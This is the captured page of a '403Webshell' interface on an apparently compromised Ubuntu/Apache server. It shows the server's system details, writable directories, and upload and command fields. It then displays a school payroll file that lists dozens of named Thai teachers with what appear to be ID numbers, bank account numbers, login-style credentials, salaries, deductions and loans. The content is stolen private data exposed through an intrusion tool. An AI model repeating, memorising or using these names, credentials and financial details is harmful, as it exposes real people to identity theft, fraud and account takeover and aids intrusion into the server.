403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.15
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/salary/dataslip/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/salary/dataslip/d102568.upd
ชื่อ-นามสกุล|เลขประจำตัวประชาชน|เลขบัญชีธนาคาร|เงินเดือน|เงินเดือน ตกเบิก|เงินวิทยฐานะ|เงิน วฐ.ตกเบิก|เงินประจำตำแหน่ง|เงิน ปจต.ตกเบิก|เงิน ต.พ.ข.ว319|ต.พ.ข.ว319 ตกเบิก|เงินอื่นๆ|เงินเพิ่ม|รับเงินรอบละ|เงินตกเบิก|รวมรายรับ|ภาษี|กบข./กสจ.|ช.พ.ค.|ช.พ.ส.|ฌค.ศก.|กสจ.ตกเบิก|กยศ.พรบ.60|กรอ.พรบ.60|AIA (รัตนา)|สมาคมผู้ปกครองและครู|ไฟฟ้าบ้านพักครู|ธอส.1|ธอส.2|ธอส.3|กรุงไทย|ธ.ก.ส.|กองทุนสวัสดิการ รร.|ช.พ.ค.ย้อนงวด|ช.พ.ส.ย้อนงวด|ออมสิน1 (ประชาชน)|ออมสิน2 (พัฒนา)|ออมสิน3 (ช.พ.ค.)|ออมสิน5 (เกื้อกูล)|ออมสิน6 (ฝากหัก)|ออมทรัพย์ครู ศก.|ออมทรัพย์ครู ต่าง จว.|รค.เงินปีภาษีเก่า|งนส.เงินเดือน|ภาษีตกเบิก|กบข.ตกเบิก|สะสมส่วนเพิ่ม|สะสมส่วนเพิ่มตกเบิก|งานศพ|จยย.ไฟฟ้า สกสค.|รวมรายจ่าย|ยอดโอนเข้าบัญชี|โรงเรียน|วดป.จ่าย|A
นางสาวนาฎชฎา  ทองบุบผา*|Tyenadchad|Tyenadchad|27,980.00||3,500.00||||||||||31,480.00|240.36|839.40|||||1,128.00||||||||16,200.00||||||||||||||||||100.00||18,507.76|12,972.24|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวชญานิศ สารพันธ์*|Chaya74852|Chaya74852|23,310.00||||||||||||23,310.00||699.30|||||1,046.00||||||||||||||||||4,960.75||||||||100.00||6,806.05|16,503.95|ครู|28 ตุลาคม 2568
นางสาวรุ่งนารี พิมมาศ|rungnaree1|na18379155|22,430.00||||||||||||22,430.00||672.90|||||||||||||||||||||||||||||||100.00||772.90|21,657.10|ครู|28 ตุลาคม 2568
นางสาวประภาพรรณ พรมลา|1259700138|3120208434|30,390.00||3,500.00||||||||||33,890.00|357.25|911.70|||||||||||||||||||||||1,188.25||||||||100.00||2,557.20|31,332.80|ครูชำนาญการ|28 ตุลาคม 2568
นายยศพันธ์ สุขกาย|1329900007|3120089559|28,180.00||3,500.00||||||||||31,680.00|125.06|845.40|747.00||||||||||||||||||||||13,379.50||||||||100.00||15,196.96|16,483.04|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวพรพิมล  เพื่อบุญมาก|pornpimol|19062534|30,850.00||3,500.00||||||||||34,350.00|235.81|925.50|||||||||||||2,800.00||3,240.00||||||||9,284.75||||||||100.00||16,586.06|17,763.94|ครูชำนาญการ|28 ตุลาคม 2568
นายนิธิกานต์ สมทิพย์|0804620708|0804620708|30,630.00||3,500.00||||||||||34,130.00|368.89|918.90|747.00||||||||||||17,900.00||||||||||500.00||||||||100.00||20,534.79|13,595.21|ครูชำนาญการ|28 ตุลาคม 2568
นายชนายุส โชติลดาวิชชากร*|embrio|Kysim6277|42,060.00||5,600.00||5,600.00||||||||53,260.00|726.62|1,261.80|747.00|372.00||||||||||||||||||||||30,860.00|||||||100.00||34,067.42|19,192.58|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นางสาวกฤษณา ไชยโคตร|Kritsana|kritsana|38,530.00||5,600.00||5,600.00||||||||49,730.00|1,399.07|1,155.90|747.00|||||||||||||||||||||||20,647.46|||||||100.00||24,049.43|25,680.57|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นางสาวพิศมัย ไกรสุข*|Pissamai|0949366154|40,580.00||5,600.00||5,600.00||||||||51,780.00|1,097.92|1,217.40|747.00|372.00||||||||||||1,060.00|||||||||31,517.25||||||||100.00||36,111.57|15,668.43|ครูชำนาญการพิเศษ|28 ตุลาคม 2568|กรุงไทย|12,400.00|ออมทรัพย์ครู ศก.|500.00|2
นางสาวกัญญาภัทร สุทธิวรรค|1330400072|3200451777|34,770.00||3,500.00||||||||||38,270.00|194.68|1,043.10|747.00||||||||||||||||||||||630.00||||||||100.00||2,714.78|35,555.22|ครูชำนาญการ|28 ตุลาคม 2568
นายชาญณรงค์  แผนพุทธา|channarong|0857809882|43,810.00||5,600.00||5,600.00||||||||55,010.00|1,868.83|1,314.30|747.00||||||||||||||||||||||5,100.00||||||||100.00||9,130.13|45,879.87|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นางสาวรินทร์ลภัส  สืบสิมมา*|Rin281228|Rin2812252|35,020.00||3,500.00||||||||||38,520.00|469.30|1,050.60|747.00||||||||||||||||||||||24,787.50||||||||100.00||27,154.40|11,365.60|ครูชำนาญการ|28 ตุลาคม 2568|กรุงไทย|15,600.00|1
นางสาวมาลา วันทวี|Mala2529|Mala2529|42,200.00||5,600.00||5,600.00||||||||53,400.00|868.33|1,266.00|747.00|372.00|||1,687.00|||||4,000.00||||4,120.00|||||||||14,297.50||||||||100.00||27,457.83|25,942.17|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นางสาวกัญจน์ณัฏฐ์ วงค์มาเกต|Kanjanat12|Wanmai2529|13,315.20||5,600.00||5,600.00||||||19,704.80||44,220.00|619.80|990.60|||||||||||||3,100.00||||||||||||||||||100.00||4,810.40|39,409.60|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นางสาวสมใจ เกษกุล|1330400088|3100636252|38,960.00||5,600.00||5,600.00||||||||50,160.00|1,157.45|1,168.80|||||1,550.00||||||||||||||||||16,184.75||||||||100.00||20,161.00|29,999.00|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นางสาวสาวลำไพ ยางงาม*|Lamphai468|Lamphai468|35,150.00||5,600.00||5,600.00||||||||46,350.00|1,238.90|1,054.50|747.00|372.00|||270.00||||||||15,600.00||||||||||||||||||100.00|1,100.00|20,482.40|25,867.60|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นางสาวสุภาภรณ์ สีมาวัน|suphaphorn|102229|38,970.00||5,600.00||5,600.00||||||||50,170.00|675.35|1,169.10|747.00|372.00|||1,653.00||||||||8,600.00||||||||||750.00||||||||100.00||14,066.45|36,103.55|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นางสาวฐิติรัตน์ หลักบุญ|1330400103|3120882615|25,400.00||3,500.00||||||||||28,900.00||762.00|747.00|372.00|||||||||||11,700.00||||||||||14,540.25||||||||100.00||28,221.25|678.75|ครูชำนาญการ|28 ตุลาคม 2568
นายอภิเดช กุลบุตร|apidech|0838785942|29,730.00||3,500.00||||||||||33,230.00|70.43|891.90|||||||||||||17,800.00||||||||||1,110.00||||||||100.00||19,972.33|13,257.67|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวพวงผกา  แก้วยงค์|Fai|Fai|38,970.00||5,600.00||5,600.00||||||||50,170.00|226.44|1,169.10|747.00||||1,620.00||||||||17,500.00||||||||||11,305.00||||||||100.00||32,667.54|17,502.46|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นางสุภาวดี ปฎิโย|Supawadee4|4556|35,050.00||5,600.00||5,600.00||||||||46,250.00|467.19|1,051.50|747.00||||||||||||17,400.00|||||||3,800.00|||3,946.75||||||||100.00||27,512.44|18,737.56|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นางอรทัย จันทา|Orathai30|25302530|38,960.00||5,600.00||5,600.00||||||||50,160.00|675.35|1,168.80|747.00||||1,318.00||||||||15,800.00||||||||||1,779.50||||||||100.00||21,588.65|28,571.35|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นางสาวกัลยาณี หนูพัด|kallayanee|kb06092561|40,350.00||5,600.00||5,600.00||||||||51,550.00|1,825.61|1,210.50|||||||||||||||||||||||||||||||100.00||3,136.11|48,413.89|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นายชลิตา จูมสีมา*|chalita|lita1122|17,492.36||5,600.00||5,600.00||||||14,857.64||43,550.00|660.22|970.50|||||||||||||6,800.00||||||||||5,304.00||||||||100.00||13,834.72|29,715.28|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นายวชิรวิชญ์  เปล่งปลั่ง*|Wachi5029|Wachi5029|38,030.00||3,500.00||||||||||41,530.00||1,140.90|747.00||||1,333.00||||||||2,650.00||||||||||23,094.25||||||||100.00||29,065.15|12,464.85|ครูชำนาญการ|28 ตุลาคม 2568|กรุงไทย|600.00|กองทุนสวัสดิการ รร.|3,240.00|2
นางสาวอาทิยา อ่อนสาร|Ati_chom21|Ati_chom21|33,590.00||5,600.00||5,600.00||||||||44,790.00|522.45|1,007.70|747.00||||||||||||||||||||||||||||||100.00||2,377.15|42,412.85|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นางสาวปาริตา  ดวงงาม|0956646527|0956646527|22,142.52||3,500.00||||||||9,467.48||35,110.00||948.30||||||||||14,300.00|||||||||||||826.75||||||||100.00||16,175.05|18,934.95|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวพิมพ์ระวี พิมาทัย|pimrawee|pim4424308|32,780.00||3,500.00||||||||||36,280.00|473.16|983.40|747.00||||||||||||||||||||||7,415.50||||||||100.00||9,719.06|26,560.94|ครูชำนาญการ|28 ตุลาคม 2568
นายกณิกร ทวนทอง*|kanikorn|0852327310|32,760.00||3,500.00||||||||||36,260.00|222.19|982.80|||||1,607.00||||||||||||||||||||||||||100.00||2,911.99|33,348.01|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวปาริฉัตร ทับทิมหิน|papabo2699|papabo2699|31,920.00||3,500.00||||||||||35,420.00|181.45|957.60|||||1,518.00||||||||17,500.00||||||||||600.00||||||||100.00||20,857.05|14,562.95|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวมัณฑนา องอาจ*|Miemie4289|M4298O6395|28,970.00||3,500.00||||||||||32,470.00||869.10|||||1,556.00|||||3,700.00|||||||||||||||||||||100.00||6,225.10|26,244.90|ครูชำนาญการ|28 ตุลาคม 2568
นายวิทยา  คำพันธ์|Wittaya128|0810692652|30,450.00||3,500.00||||||||||33,950.00|323.49|913.50|||||||||||||17,900.00||||||||||14,035.50||||||||100.00||33,272.49|677.51|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวอรอินทร์ ฝอยทอง|Kk262635|Kk262635|26,490.00||3,500.00||||||||||29,990.00|90.07|794.70|||||||||||||||||||||||||||||||100.00||984.77|29,005.23|ครูชำนาญการ|28 ตุลาคม 2568
นางสาววันทนีย์ จันทร์หอม|1330400356|6705316101|26,490.00||3,500.00||||||||||29,990.00|146.64|794.70|||||||||||||||||||||||740.00||||||||100.00||1,781.34|28,208.66|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวน้ำค้าง สมบรรณ์|1330400365|2280336995|28,970.00||3,500.00||||||||||32,470.00|272.22|869.10|747.00||||||||||||||||||||||||||||289.70||100.00||2,278.02|30,191.98|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวภัทราวดี ศรีภักดี|1330400415|phatta2610|28,350.00||3,500.00||||||||||31,850.00|224.97|850.50|||||||||||||||||||||||||||||||100.00||1,175.47|30,674.53|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวเมษา เพ็งชัย|Mesa|0857748212|26,940.00||3,500.00||||||||||30,440.00|154.25|808.20|747.00||||||||||||||||||||||6,401.75||||||||100.00||8,211.20|22,228.80|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวสุธิดา สุทธิพันธ์*|Sutida3304|Sutida3304|21,650.00||||||||||||21,650.00||649.50|||||||||||||||||||||||320.00||||||433.00||100.00||1,502.50|20,147.50|ครู|28 ตุลาคม 2568
นางสาวนิธัญญา ปานประชาติ|Pani27254i|N75651125i|19,120.00||||||||||||19,120.00||573.60|||||||||||||||||||||||||||||||100.00||673.60|18,446.40|ครูผู้ช่วย|28 ตุลาคม 2568
นางสาวสุกัญญา ไชยศรีษะ|Sukanya338|Chaisrisa|18,097.65||||||||||6,512.35||24,610.00||738.30|747.00||||||||||||10,000.00||||||||||||||||||100.00||11,585.30|13,024.70|ครู|28 ตุลาคม 2568
นายวสันต์ จันดำ|Wasun|0876549368|22,430.00||||||||||||22,430.00||672.90|||||909.00||||||||||||||||||1,420.00||||||224.30||100.00||3,326.20|19,103.80|ครู|28 ตุลาคม 2568
นายพันกร  มนทอง|1330600013|3120421200|38,520.00||5,600.00||5,600.00||||||||49,720.00|603.22|1,155.60|747.00||||||||||||||||||||||23,243.75||||||||100.00||25,849.57|23,870.43|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นายกฤษณาภูมิ เกษอินทร์|1330600076|3290566447|26,490.00||3,500.00||||||||||29,990.00|90.42|794.70|||||803.00||||||||12,300.00||||||||||||||||||100.00||14,088.12|15,901.88|ครูชำนาญการ|28 ตุลาคม 2568
นายพันธ์ศักดิ์  งอนสวัน|rakannna|045665048|24,917.43||5,600.00||5,600.00||||||14,642.57||50,760.00|1,169.86|1,186.80|747.00||||||||||||16,000.00||||||||||1,480.00||||||791.20||100.00||21,474.86|29,285.14|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นางสาวชัญญาภัค  สินศิริ|Tobe2398|Tobe2398|30,240.00||3,500.00||||||||||33,740.00||907.20|||||||||||||||||||||||18,293.00||||||||100.00||19,300.20|14,439.80|ครูชำนาญการ|28 ตุลาคม 2568
นางสุวคนธ์  พลลพ|tomsuwakon|310730|37,890.00||3,500.00||||||||||41,390.00|337.04|1,136.70|||||1,636.00||||||||||||||||||35,947.00||||||||100.00||39,156.74|2,233.26|ครูชำนาญการ|28 ตุลาคม 2568
นายภูวิน  ชูกลิ่น|Puwin|Puwin1988|38,930.00||5,600.00||5,600.00||||||||50,130.00|479.35|1,167.90|||||1,506.00||||||||9,800.00||||||||||24,763.25||||||||100.00||37,816.50|12,313.50|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นางสาวสุดารัตน์ ชูคำ|suda123218|A123218|34,610.00||5,600.00||5,600.00||||||||45,810.00|524.12|1,038.30|747.00|372.00|||1,790.00||||||||16,700.00||||||||||5,660.00||||||||100.00||26,931.42|18,878.58|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นายวิชญวิสิฐญ์ สมเพชร|1330800127|1330800127|29,010.00||3,500.00||||||||||32,510.00|95.20|870.30|||||763.00||||||||10,000.00||3,240.00||||||||1,460.00||||||870.30||100.00||17,398.80|15,111.20|ครูชำนาญการ|28 ตุลาคม 2568
นายธีร์วรารัศม์ ธรรมวัตร|Theewara03|0938258443|32,370.00||3,500.00||||||||||35,870.00|453.28|971.10|747.00||||720.00||||||||||4,320.00||||||||19,851.50||||||||100.00||27,162.88|8,707.12|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวรัตนาภรณ์ ไชยโคตร*|rattanaporn|19920315|32,860.00||5,600.00||5,600.00||||||||44,060.00|845.61|985.80|747.00||||1,643.00||||||||9,400.00||||||||||620.00||||||328.60||100.00||14,670.01|29,389.99|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นายอภิเดช จันดำ*|aphidet|0804876238|26,050.00||||||||||||26,050.00||781.50|||||1,127.00||||||||||||||||||||||||||100.00||2,008.50|24,041.50|ครู|28 ตุลาคม 2568
นายไชยา  แหนงวงษ์|1331400042|3430217016|37,060.00||3,500.00||||||||||40,560.00||1,111.80|747.00||||1,300.00||||||||||||||||||22,048.50||||||||100.00||25,307.30|15,252.70|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวศิรยา เอกวารีย์*|Siraya1990|Siraya1990|35,150.00||5,600.00||5,600.00||||||||46,350.00|1,304.55|1,054.50|747.00||||||||||||13,100.00||||||||||2,949.25||||||||100.00||19,255.30|27,094.70|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นายกฤตนัย ช่างเหล็ก|Krittanai|110446|18,220.00|18,220.00|||||||||||36,440.00||546.60||||||||||||||||||||||||||||546.60|||100.00||1,193.20|35,246.80|ครูผู้ช่วย|28 ตุลาคม 2568
นางสาวพิชญ์นรี  มงคลธนกิตติ์|Pithnaree|167130|29,750.00||3,500.00||||||||||33,250.00||892.50||||||||||9,300.00|300.00||6,500.00||||||||||1,665.50||||||||100.00||18,758.00|14,492.00|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวแคทลียา โมทะจิตร*|Kattaliya24|k0924236951|29,080.00||3,500.00||||||||||32,580.00||872.40|747.00||||||||||||||||||||||1,100.00||||||||100.00||2,819.40|29,760.60|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวราตรี ขันทอง|Ratree@K|waewvav@08|31,050.00||3,500.00||||||||||34,550.00|247.59|931.50|||||1,565.00||||||||||||||||||||||||||100.00||2,844.09|31,705.91|ครูชำนาญการ|28 ตุลาคม 2568
นางสาววราภรณ์ บุตรกูล*|Warabutgoon|Wara178332|34,540.00||3,500.00||||||||||38,040.00|523.98|1,036.20|||||1,721.00||||||||18,900.00||||||||||||||||690.80||100.00||22,971.98|15,068.02|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวภัทราวรรณ ศุภเลิศ|takkyphat2|Tk55411528|26,450.00||||||||||||26,450.00||793.50|||||1,560.00|||||5,700.00|||500.00||||||||||7,573.25||||||||100.00||16,226.75|10,223.25|ครู|28 ตุลาคม 2568
นางสาวลลิดา  โสดามุข|Lalida|Lalida3455|28,330.00||3,500.00||||||||||31,830.00|229.01|849.90|||||||||||||17,500.00||||||||||||||||566.60||100.00||19,245.51|12,584.49|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวบุรีรัตน์ ผลสุข*|mudmee|1234mudmee|27,660.00||3,500.00||||||||||31,160.00|224.84|829.80|||||||||||||1,800.00||||||||||520.00||||||||100.00||3,474.64|27,685.36|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวพีรยา ศิริสวัสดิ์|Peeraya@kl|1339900372|26,490.00||3,500.00||||||||||29,990.00|93.15|794.70||||||||||2,400.00|||||||||||||10,211.50||||||1,854.30||100.00||15,453.65|14,536.35|ครูชำนาญการ|28 ตุลาคม 2568
นายอิสระพงษ์ บุญสุข|1339900468|3113561779|22,080.00||||||||||||22,080.00||662.40|||||||||||||5,300.00||3,780.00||||||||5,163.50||||||||100.00||15,005.90|7,074.10|ครู|28 ตุลาคม 2568
นางสาวมณฑิฌา ธรรมนิยม|1339900503|2280465841|22,380.00||||||||||||22,380.00||671.40|||||||||||||||||||||||2,410.00||||||||100.00||3,181.40|19,198.60|ครู|28 ตุลาคม 2568
นางสาวธนัญญา แสงสว่าง|Tananya.ss|Tananya254|20,210.00||||||||||||20,210.00||606.30|||||||||||||||||||||||||||||||100.00||706.30|19,503.70|ครูผู้ช่วย|28 ตุลาคม 2568
นางธิดารัตน์ บึงใส|123456789s|123456789s|20,680.00||||||||||||20,680.00||620.40|||||||||||||8,600.00||||||||||340.00||||||||100.00||9,660.40|11,019.60|ครู|28 ตุลาคม 2568
นางสาวณิชชา ทาทอง*|Nitcha|1340700365|27,940.00||3,500.00||||||||||31,440.00|238.42|838.20|||||1,086.00||||||||||||||||||||||||||100.00||2,262.62|29,177.38|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวธันยพร แสวงผล|1340700447216|3120674613|26,490.00||3,500.00||||||||||29,990.00|158.17|794.70|||||||||||||||||||||||6,933.50||||||||100.00||7,986.37|22,003.63|ครูชำนาญการ|28 ตุลาคม 2568
ว่าที่ร้อยตรีหญิงนัยนา  บุญกัณฑ์|A134090010|A134090010|27,430.00||3,500.00||||||||||30,930.00||822.90|||||2,133.00|||||10,000.00|||||||||||||3,000.00||||||822.90||100.00||16,878.80|14,051.20|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวสุรีรัตน์ รุ้งแก้ว*|Sureerat|Sr419419|26,490.00||3,500.00||||||||||29,990.00||794.70|||||1,732.00||||||||||||||||||490.00||||||||100.00||3,116.70|26,873.30|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวยุพิน เคนพิมพา|1341500005|3120325716|33,300.00||3,500.00||||||||||36,800.00||999.00|747.00||||800.00||||||||||||||||||20,425.00||||||4,995.00||100.00||28,066.00|8,734.00|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวเกษราภา พรหมลักษณ์*|Katecr7|Katesarapa|20,740.00||||||||||||20,740.00||622.20|||||||||||||||||||||||||||||||100.00||722.20|20,017.80|ครูผู้ช่วย|28 ตุลาคม 2568
นายเชิดศักดิ์ บุญยัง|cherd2134|cherd2134|35,480.00||5,600.00||5,600.00||||||||46,680.00|956.06|1,064.40|747.00|372.00|||270.00||||||||||3,240.00|||||2,900.00||||15,024.00|||||||100.00||24,673.46|22,006.54|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นางสาวดารารัตน์  บัวทุม|Kratai1319|Kratai1319|29,570.00||3,500.00||||||||||33,070.00|317.48|887.10|||||||||||||17,800.00||||||||||||||||||100.00||19,104.58|13,965.42|ครูชำนาญการ|28 ตุลาคม 2568
นายธวัชชัย  พานแก้ว|th25272527|th03300330|46,910.00||5,600.00||5,600.00||||||||58,110.00|2,211.93|1,407.30|747.00||||||||||||5,400.00|||||||7,500.00|||29,003.50||||||||100.00||46,369.73|11,740.27|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นางสาววิชุดา ชินชัย|0894576521|0894576521|34,640.00||3,500.00||||||||||38,140.00|511.41|1,039.20|||||||||||||||||||||||17,116.75||||||1,039.20||100.00||19,806.56|18,333.44|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวนภัสวรรณ ศักดิ์วิจารณ์|Napatsawan|Lollipop14|26,490.00||3,500.00||||||||||29,990.00|67.33|794.70|||||||||||||||||||||||4,100.00||||||||100.00||5,062.03|24,927.97|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวทิพย์อุบล อุปแก้ว|tipubon26|tipubon260|19,120.00||||||||||||19,120.00||573.60|||||||||||||||||||||||||||||||100.00||673.60|18,446.40|ครูผู้ช่วย|28 ตุลาคม 2568
นางสาวกรกนก อยู่สุข|kornkanoky|0645179025|19,680.00||||||||||||19,680.00||590.40|||||||||||||||||||||||||||||||100.00||690.40|18,989.60|ครูผู้ช่วย|28 ตุลาคม 2568
นางสาวยุภาธิรัตน์  พันธราช|1350100226|3120626473|29,800.00||3,500.00||||||||||33,300.00|328.63|894.00|||||1,184.00||||||||||||||||||21,050.00||||||||100.00||23,556.63|9,743.37|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวทวิพร ทองลอย|MTHAWIPON|minn110403|18,220.00|18,220.00|||||||||||36,440.00||546.60||||||||||||||||||||||||||||546.60|||100.00||1,193.20|35,246.80|ครูผู้ช่วย|28 ตุลาคม 2568
นางสาวจริยา อาจหาญ|1411800208|983810064|19,120.00||||||||||||19,120.00||573.60|||||128.00||||||||||||||||||||||||||100.00||801.60|18,318.40|ครูผู้ช่วย|28 ตุลาคม 2568
นางสาวชนากานต์ นุริตานนท์*|1450600152|3113315042|27,960.00||3,500.00||||||||||31,460.00||838.80|||||||||||||||||||||||19,220.75||||||1,677.60||100.00||21,837.15|9,622.85|ครูชำนาญการ|28 ตุลาคม 2568|ออมทรัพย์ครู ศก.|5,200.00|1
นายภาณุวัฒน์ กำหอม|danniebubu|002545|18,220.00|18,220.00|||||||||||36,440.00||546.60||||||||||||||||||||||||||||546.60|||100.00||1,193.20|35,246.80|ครูผู้ช่วย|28 ตุลาคม 2568
นายนำพล สุวรรณศรี*|numpol.suv|numpol047|24,010.00||||||||||||24,010.00||720.30|||||666.00||||||||11,800.00||||||||||2,000.00||||||||100.00||15,286.30|8,723.70|ครู|28 ตุลาคม 2568
นางสาวศศิธร  ประดิษฐ์นอก*|ipondsp|pon0923174|13,607.13||3,500.00||||||||14,812.87||31,920.00|204.86|852.60|||||||||||||||||||||||||||||1,136.80||100.00||2,294.26|29,625.74|ครูชำนาญการ|28 ตุลาคม 2568
นางสาวภาวิณี แก้วคำรอด|Pawinee252|Pawinee252|31,740.00||3,500.00||||||||||35,240.00|140.74|952.20|747.00||||||||||||12,500.00||||||||||17,962.75||||||317.40||100.00||32,720.09|2,519.91|ครูชำนาญการ|28 ตุลาคม 2568
นายอนุศิษฏ์ โกศล|BK15022629|BP18265458|57,370.00||5,600.00||5,600.00||||||||68,570.00|2,226.55|1,721.10|747.00||||||||||||21,900.00|3,690.00|3,240.00||||||7,300.00||||||||||100.00||40,924.65|27,645.35|ผู้บริหาร|28 ตุลาคม 2568
นางสาวจินตนา กุจพันธ์|Jinku1234|Jinjin1234|31,220.00||3,500.00||||||||||34,720.00|350.67|936.60|||||1,350.00||||||||12,500.00||||||||||610.00||||||936.60||100.00||16,783.87|17,936.13|ครูชำนาญการ|28 ตุลาคม 2568
นางสาธิดา  ดวงศรี*|satida|ac2475b@|26,260.00||||||||||||26,260.00||787.80|747.00|372.00||||||||||||||||||3,800.00|||||||||||100.00||5,806.80|20,453.20|ครู|28 ตุลาคม 2568
นายคณิตพันธ์ จามรธัญญวาท|Kanitpunt|Kanitpunt|64,620.00||5,600.00||5,600.00||||||||75,820.00|4,614.33|1,938.60|||||||||||||||||||||||36,784.50||||||1,938.60||100.00||45,376.03|30,443.97|ผู้บริหาร|28 ตุลาคม 2568
นางสาวสาคร  คุมมินทร์|Tosakhorn|Toto1234|63,950.00||5,600.00||5,600.00||||||||75,150.00|4,626.66||747.00||||||||||||||||||||||25,000.00||||||||100.00||30,473.66|44,676.34|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นางสาวกัลย์กมล  โรจนนัครวงศ์*|Kunkamol|np2525np|44,410.00||5,600.00||5,600.00||||||||55,610.00|1,936.10|1,332.30|747.00|372.00||||||||5,100.00||||||||||6,200.00|||13,025.75||||||||100.00||28,813.15|26,796.85|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นางญาตา  เรืองศรีตระกูล|Yata.rueng|samta168|67,630.00||5,600.00||5,600.00||||||||78,830.00|5,366.16||747.00|372.00|||||||||||||3,240.00||||||21,300.00||22,181.75||||||||100.00||53,306.91|25,523.09|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นายสมาน  เรืองศรีตระกูล|Sam.rueng|Sam168|69,040.00||5,600.00||5,600.00||||||||80,240.00|5,649.07||747.00|372.00|||||||||||||3,240.00||||||22,200.00||25,158.50||||||||100.00||57,466.57|22,773.43|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
นางศิลารัตน์  สุริยวงศ์|silarat|180815|61,170.00||5,600.00||5,600.00||||||||72,370.00|2,655.14|1,835.10|747.00||||||||||||7,500.00|||||||7,500.00|||29,214.00||||||611.70||100.00||50,162.94|22,207.06|ครูชำนาญการพิเศษ|28 ตุลาคม 2568
